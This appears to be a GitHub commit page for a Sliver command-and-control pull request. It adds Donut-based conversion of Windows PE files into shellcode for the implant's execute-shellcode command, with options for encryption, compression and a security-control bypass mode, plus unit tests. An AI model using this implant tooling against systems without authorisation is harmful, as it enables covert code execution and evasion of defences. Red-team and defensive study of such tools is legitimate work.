Skip to content

Commit 3230322

Browse files
authored
Merge pull request #2201 from BishopFox/feature/exec-shellcode
Add support for wasm-donut options in windows `execute-shellcode`
2 parents d2632e7 + 82d9794 commit 3230322

4 files changed

Lines changed: 330 additions & 3 deletions

File tree

client/command/exec/commands.go

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -114,6 +114,14 @@ func Commands(con *console.SliverClient) []*cobra.Command {
114114
f.BoolP("shikata-ga-nai", "S", false, "encode shellcode using shikata ga nai prior to execution")
115115
f.StringP("architecture", "A", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
116116
f.Uint32P("iterations", "I", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
117+
f.Uint32("shellcode-entropy", 1, "Shellcode entropy (Donut: 1=none, 2=random names, 3=random+encrypt) (windows PE input only)")
118+
f.Bool("shellcode-compress", false, "Enable shellcode compression (aPLib) (windows PE input only)")
119+
f.Uint32("shellcode-exitopt", 1, "Shellcode exit option (Donut: 1=exit thread, 2=exit process, 3=block) (windows PE input only)")
120+
f.Uint32("shellcode-bypass", 3, "Shellcode bypass mode (Donut: 1=none, 2=abort, 3=continue) (windows PE input only)")
121+
f.Uint32("shellcode-headers", 1, "Shellcode headers handling (Donut: 1=overwrite, 2=keep) (windows PE input only)")
122+
f.Bool("shellcode-thread", false, "Run unmanaged EXE entrypoint as a new thread (Donut) (windows PE input only)")
123+
f.Bool("shellcode-unicode", false, "Use Unicode command line for unmanaged DLL entrypoints (Donut) (windows PE input only)")
124+
f.Uint32("shellcode-oep", 0, "Override original entry point (OEP) (Donut) (windows PE input only)")
117125

118126
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
119127
})

client/command/exec/execute-shellcode.go

Lines changed: 219 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,27 +20,44 @@ package exec
2020

2121
import (
2222
"bufio"
23+
"bytes"
2324
"context"
2425
"fmt"
2526
"io"
2627
"log"
2728
"os"
29+
"path/filepath"
30+
"strings"
2831

32+
"github.com/Binject/debug/pe"
2933
"github.com/bishopfox/sliver/client/console"
3034
"github.com/bishopfox/sliver/client/core"
3135
"github.com/bishopfox/sliver/protobuf/clientpb"
3236
"github.com/bishopfox/sliver/protobuf/sliverpb"
37+
wasmdonut "github.com/sliverarmory/wasm-donut"
3338
"github.com/spf13/cobra"
3439
"golang.org/x/term"
3540
"google.golang.org/protobuf/proto"
3641
)
3742

43+
const (
44+
defaultExecuteShellcodeDonutEntropy = wasmdonut.DonutEntropyNone
45+
defaultExecuteShellcodeDonutCompress = wasmdonut.DonutCompressNone
46+
defaultExecuteShellcodeDonutExitOpt = wasmdonut.DonutExitThread
47+
defaultExecuteShellcodeDonutBypass = wasmdonut.DonutBypassContinue
48+
defaultExecuteShellcodeDonutHeaders = wasmdonut.DonutHeadersOverwrite
49+
imageFileDLLMask = 0x2000
50+
)
51+
3852
// ExecuteShellcodeCmd - Execute shellcode in-memory.
3953
func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
4054
session, beacon := con.ActiveTarget.GetInteractive()
4155
if session == nil && beacon == nil {
4256
return
4357
}
58+
targetName := activeTargetName(session, beacon)
59+
targetOS := activeTargetOS(session, beacon)
60+
targetArch := activeTargetArch(session, beacon)
4461

4562
rwxPages, _ := cmd.Flags().GetBool("rwx-pages")
4663
interactive, _ := cmd.Flags().GetBool("interactive")
@@ -60,6 +77,27 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s
6077
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
6178
return
6279
}
80+
81+
shellcodeConfig, shellcodeFlagsChanged, err := parseExecuteShellcodeFlags(cmd)
82+
if err != nil {
83+
con.PrintErrorf("%s\n", err)
84+
return
85+
}
86+
87+
shouldConvertPE, isDLLHint := shouldConvertExecuteShellcodePE(shellcodePath, shellcodeFlagsChanged)
88+
if shouldConvertPE {
89+
if targetOS != "windows" {
90+
con.PrintErrorf("PE input and --shellcode-* options are only supported for Windows targets in execute-shellcode\n")
91+
return
92+
}
93+
con.PrintInfof("Converting PE input to shellcode ...\n")
94+
shellcodeBin, err = donutShellcodeFromPE(shellcodeBin, targetArch, isDLLHint, shellcodeConfig)
95+
if err != nil {
96+
con.PrintErrorf("Failed to convert PE input to shellcode: %s\n", err)
97+
return
98+
}
99+
}
100+
63101
shikataGaNai, _ := cmd.Flags().GetBool("shikata-ga-nai")
64102
if shikataGaNai {
65103
if !rwxPages {
@@ -96,7 +134,7 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s
96134
return
97135
}
98136
ctrl := make(chan bool)
99-
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
137+
msg := fmt.Sprintf("Sending shellcode to %s ...", targetName)
100138
con.SpinUntil(msg, ctrl)
101139
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
102140
Data: shellcodeBin,
@@ -135,6 +173,186 @@ func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverClient) {
135173
}
136174
}
137175

176+
func parseExecuteShellcodeFlags(cmd *cobra.Command) (*clientpb.ShellcodeConfig, bool, error) {
177+
shellcodeEntropy, _ := cmd.Flags().GetUint32("shellcode-entropy")
178+
shellcodeCompressEnabled, _ := cmd.Flags().GetBool("shellcode-compress")
179+
shellcodeExitOpt, _ := cmd.Flags().GetUint32("shellcode-exitopt")
180+
shellcodeBypass, _ := cmd.Flags().GetUint32("shellcode-bypass")
181+
shellcodeHeaders, _ := cmd.Flags().GetUint32("shellcode-headers")
182+
shellcodeThread, _ := cmd.Flags().GetBool("shellcode-thread")
183+
shellcodeUnicode, _ := cmd.Flags().GetBool("shellcode-unicode")
184+
shellcodeOEP, _ := cmd.Flags().GetUint32("shellcode-oep")
185+
186+
anyChanged := cmd.Flags().Changed("shellcode-entropy") ||
187+
cmd.Flags().Changed("shellcode-compress") ||
188+
cmd.Flags().Changed("shellcode-exitopt") ||
189+
cmd.Flags().Changed("shellcode-bypass") ||
190+
cmd.Flags().Changed("shellcode-headers") ||
191+
cmd.Flags().Changed("shellcode-thread") ||
192+
cmd.Flags().Changed("shellcode-unicode") ||
193+
cmd.Flags().Changed("shellcode-oep")
194+
195+
if shellcodeEntropy < 1 || shellcodeEntropy > 3 {
196+
return nil, false, fmt.Errorf("shellcode-entropy must be between 1 and 3")
197+
}
198+
if shellcodeExitOpt < 1 || shellcodeExitOpt > 3 {
199+
return nil, false, fmt.Errorf("shellcode-exitopt must be between 1 and 3")
200+
}
201+
if shellcodeBypass < 1 || shellcodeBypass > 3 {
202+
return nil, false, fmt.Errorf("shellcode-bypass must be between 1 and 3")
203+
}
204+
if shellcodeHeaders < 1 || shellcodeHeaders > 2 {
205+
return nil, false, fmt.Errorf("shellcode-headers must be 1 or 2")
206+
}
207+
208+
shellcodeCompress := uint32(1)
209+
if shellcodeCompressEnabled {
210+
shellcodeCompress = 2
211+
}
212+
213+
return &clientpb.ShellcodeConfig{
214+
Entropy: shellcodeEntropy,
215+
Compress: shellcodeCompress,
216+
ExitOpt: shellcodeExitOpt,
217+
Bypass: shellcodeBypass,
218+
Headers: shellcodeHeaders,
219+
Thread: shellcodeThread,
220+
Unicode: shellcodeUnicode,
221+
OEP: shellcodeOEP,
222+
}, anyChanged, nil
223+
}
224+
225+
func shouldConvertExecuteShellcodePE(shellcodePath string, shellcodeFlagsChanged bool) (bool, bool) {
226+
ext := strings.ToLower(filepath.Ext(shellcodePath))
227+
isPEByExt := ext == ".exe" || ext == ".dll"
228+
return isPEByExt || shellcodeFlagsChanged, ext == ".dll"
229+
}
230+
231+
func activeTargetName(session *clientpb.Session, beacon *clientpb.Beacon) string {
232+
if session != nil {
233+
return session.GetName()
234+
}
235+
if beacon != nil {
236+
return beacon.GetName()
237+
}
238+
return "target"
239+
}
240+
241+
func activeTargetOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
242+
if session != nil {
243+
return strings.ToLower(session.GetOS())
244+
}
245+
if beacon != nil {
246+
return strings.ToLower(beacon.GetOS())
247+
}
248+
return ""
249+
}
250+
251+
func activeTargetArch(session *clientpb.Session, beacon *clientpb.Beacon) string {
252+
if session != nil {
253+
return session.GetArch()
254+
}
255+
if beacon != nil {
256+
return beacon.GetArch()
257+
}
258+
return ""
259+
}
260+
261+
type executeShellcodeDonutOptions struct {
262+
entropy int
263+
compress int
264+
exitOpt int
265+
bypass int
266+
headers int
267+
thread bool
268+
unicode bool
269+
oep uint32
270+
}
271+
272+
func normalizeExecuteShellcodeDonutConfig(config *clientpb.ShellcodeConfig) executeShellcodeDonutOptions {
273+
opts := executeShellcodeDonutOptions{
274+
entropy: defaultExecuteShellcodeDonutEntropy,
275+
compress: defaultExecuteShellcodeDonutCompress,
276+
exitOpt: defaultExecuteShellcodeDonutExitOpt,
277+
bypass: defaultExecuteShellcodeDonutBypass,
278+
headers: defaultExecuteShellcodeDonutHeaders,
279+
}
280+
if config == nil {
281+
return opts
282+
}
283+
if config.Entropy >= 1 && config.Entropy <= 3 {
284+
opts.entropy = int(config.Entropy)
285+
}
286+
if config.Compress >= 1 && config.Compress <= 2 {
287+
opts.compress = int(config.Compress)
288+
}
289+
if config.ExitOpt >= 1 && config.ExitOpt <= 3 {
290+
opts.exitOpt = int(config.ExitOpt)
291+
}
292+
if config.Bypass >= 1 && config.Bypass <= 3 {
293+
opts.bypass = int(config.Bypass)
294+
}
295+
if config.Headers >= 1 && config.Headers <= 2 {
296+
opts.headers = int(config.Headers)
297+
}
298+
opts.thread = config.Thread
299+
opts.unicode = config.Unicode
300+
if config.OEP > 0 {
301+
opts.oep = config.OEP
302+
}
303+
return opts
304+
}
305+
306+
func donutShellcodeFromPE(data []byte, arch string, isDLLHint bool, config *clientpb.ShellcodeConfig) ([]byte, error) {
307+
peFile, err := pe.NewFile(bytes.NewReader(data))
308+
if err != nil {
309+
return nil, err
310+
}
311+
isDLL := isDLLHint || ((peFile.FileHeader.Characteristics & imageFileDLLMask) != 0)
312+
ext := ".exe"
313+
if isDLL {
314+
ext = ".dll"
315+
}
316+
opts := normalizeExecuteShellcodeDonutConfig(config)
317+
result, err := wasmdonut.Generate(context.Background(), data, ext, wasmdonut.GenerateOptions{
318+
Ext: ext,
319+
Arch: getExecuteShellcodeDonutArch(arch),
320+
Bypass: opts.bypass,
321+
Headers: opts.headers,
322+
Entropy: opts.entropy,
323+
Compress: opts.compress,
324+
ExitOpt: opts.exitOpt,
325+
Thread: opts.thread,
326+
Unicode: opts.unicode,
327+
OEP: opts.oep,
328+
})
329+
if err != nil {
330+
return nil, err
331+
}
332+
return addExecuteShellcodeStackCheck(result.Loader), nil
333+
}
334+
335+
func getExecuteShellcodeDonutArch(arch string) int {
336+
donutArch := wasmdonut.DonutArchX84
337+
switch strings.ToLower(arch) {
338+
case "x32", "x86", "386":
339+
donutArch = wasmdonut.DonutArchX86
340+
case "x64", "amd64":
341+
donutArch = wasmdonut.DonutArchX64
342+
case "x84":
343+
donutArch = wasmdonut.DonutArchX84
344+
}
345+
return donutArch
346+
}
347+
348+
func addExecuteShellcodeStackCheck(shellcode []byte) []byte {
349+
stackCheckPrologue := []byte{
350+
0x48, 0x83, 0xE4, 0xF0, // and rsp,0xfffffffffffffff0
351+
0x48, 0x83, 0xC4, 0x08, // add rsp,0x8
352+
}
353+
return append(stackCheckPrologue, shellcode...)
354+
}
355+
138356
func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverClient) {
139357
// Check active session
140358
session := con.ActiveTarget.GetSessionInteractive()
Lines changed: 100 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,100 @@
1+
package exec
2+
3+
import (
4+
"testing"
5+
6+
"github.com/spf13/cobra"
7+
)
8+
9+
func TestParseExecuteShellcodeFlagsDefaults(t *testing.T) {
10+
cmd := newExecuteShellcodeFlagsTestCommand(t)
11+
12+
cfg, changed, err := parseExecuteShellcodeFlags(cmd)
13+
if err != nil {
14+
t.Fatalf("parseExecuteShellcodeFlags returned error: %v", err)
15+
}
16+
if changed {
17+
t.Fatalf("expected changed=false with defaults")
18+
}
19+
if cfg == nil {
20+
t.Fatalf("expected non-nil config")
21+
}
22+
if cfg.Entropy != 1 || cfg.Compress != 1 || cfg.ExitOpt != 1 || cfg.Bypass != 3 || cfg.Headers != 1 {
23+
t.Fatalf("unexpected defaults: %+v", cfg)
24+
}
25+
if cfg.Thread || cfg.Unicode || cfg.OEP != 0 {
26+
t.Fatalf("unexpected default bool/OEP values: %+v", cfg)
27+
}
28+
}
29+
30+
func TestParseExecuteShellcodeFlagsChanged(t *testing.T) {
31+
cmd := newExecuteShellcodeFlagsTestCommand(t)
32+
if err := cmd.Flags().Set("shellcode-entropy", "2"); err != nil {
33+
t.Fatalf("set shellcode-entropy: %v", err)
34+
}
35+
if err := cmd.Flags().Set("shellcode-compress", "true"); err != nil {
36+
t.Fatalf("set shellcode-compress: %v", err)
37+
}
38+
if err := cmd.Flags().Set("shellcode-thread", "true"); err != nil {
39+
t.Fatalf("set shellcode-thread: %v", err)
40+
}
41+
42+
cfg, changed, err := parseExecuteShellcodeFlags(cmd)
43+
if err != nil {
44+
t.Fatalf("parseExecuteShellcodeFlags returned error: %v", err)
45+
}
46+
if !changed {
47+
t.Fatalf("expected changed=true")
48+
}
49+
if cfg.Entropy != 2 || cfg.Compress != 2 || !cfg.Thread {
50+
t.Fatalf("unexpected changed config: %+v", cfg)
51+
}
52+
}
53+
54+
func TestParseExecuteShellcodeFlagsValidation(t *testing.T) {
55+
cmd := newExecuteShellcodeFlagsTestCommand(t)
56+
if err := cmd.Flags().Set("shellcode-bypass", "9"); err != nil {
57+
t.Fatalf("set shellcode-bypass: %v", err)
58+
}
59+
if _, _, err := parseExecuteShellcodeFlags(cmd); err == nil {
60+
t.Fatalf("expected validation error for shellcode-bypass")
61+
}
62+
}
63+
64+
func TestShouldConvertExecuteShellcodePE(t *testing.T) {
65+
testCases := []struct {
66+
name string
67+
path string
68+
flagsChanged bool
69+
wantConvert bool
70+
wantDLL bool
71+
}{
72+
{name: "exe by extension", path: "/tmp/payload.exe", flagsChanged: false, wantConvert: true, wantDLL: false},
73+
{name: "dll by extension", path: "/tmp/payload.dll", flagsChanged: false, wantConvert: true, wantDLL: true},
74+
{name: "raw shellcode", path: "/tmp/payload.bin", flagsChanged: false, wantConvert: false, wantDLL: false},
75+
{name: "flags force conversion", path: "/tmp/payload.bin", flagsChanged: true, wantConvert: true, wantDLL: false},
76+
}
77+
for _, tc := range testCases {
78+
t.Run(tc.name, func(t *testing.T) {
79+
gotConvert, gotDLL := shouldConvertExecuteShellcodePE(tc.path, tc.flagsChanged)
80+
if gotConvert != tc.wantConvert || gotDLL != tc.wantDLL {
81+
t.Fatalf("unexpected result convert=%v dll=%v, expected convert=%v dll=%v", gotConvert, gotDLL, tc.wantConvert, tc.wantDLL)
82+
}
83+
})
84+
}
85+
}
86+
87+
func newExecuteShellcodeFlagsTestCommand(t *testing.T) *cobra.Command {
88+
t.Helper()
89+
90+
cmd := &cobra.Command{Use: "execute-shellcode"}
91+
cmd.Flags().Uint32("shellcode-entropy", 1, "")
92+
cmd.Flags().Bool("shellcode-compress", false, "")
93+
cmd.Flags().Uint32("shellcode-exitopt", 1, "")
94+
cmd.Flags().Uint32("shellcode-bypass", 3, "")
95+
cmd.Flags().Uint32("shellcode-headers", 1, "")
96+
cmd.Flags().Bool("shellcode-thread", false, "")
97+
cmd.Flags().Bool("shellcode-unicode", false, "")
98+
cmd.Flags().Uint32("shellcode-oep", 0, "")
99+
return cmd
100+
}

client/command/help/long-help.go

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -437,8 +437,9 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
437437
mountHelp = `[[.Bold]]Command:[[.Normal]] mount
438438
[[.Bold]]About:[[.Normal]] Displays information about mounted drives on the system, including mount point, space metrics, and filesystem.`
439439

440-
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode]
441-
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process.
440+
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode or PE]
441+
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process. On Windows targets, PE input can be
442+
converted with Donut before execution and tuned with [[.Bold]]--shellcode-*[[.Normal]] flags.
442443
443444
[[.Bold]][[.Underline]]++ Shellcode ++[[.Normal]]
444445
Shellcode files should be binary encoded, you can generate Sliver shellcode files with the generate command:

0 commit comments

Comments
 (0)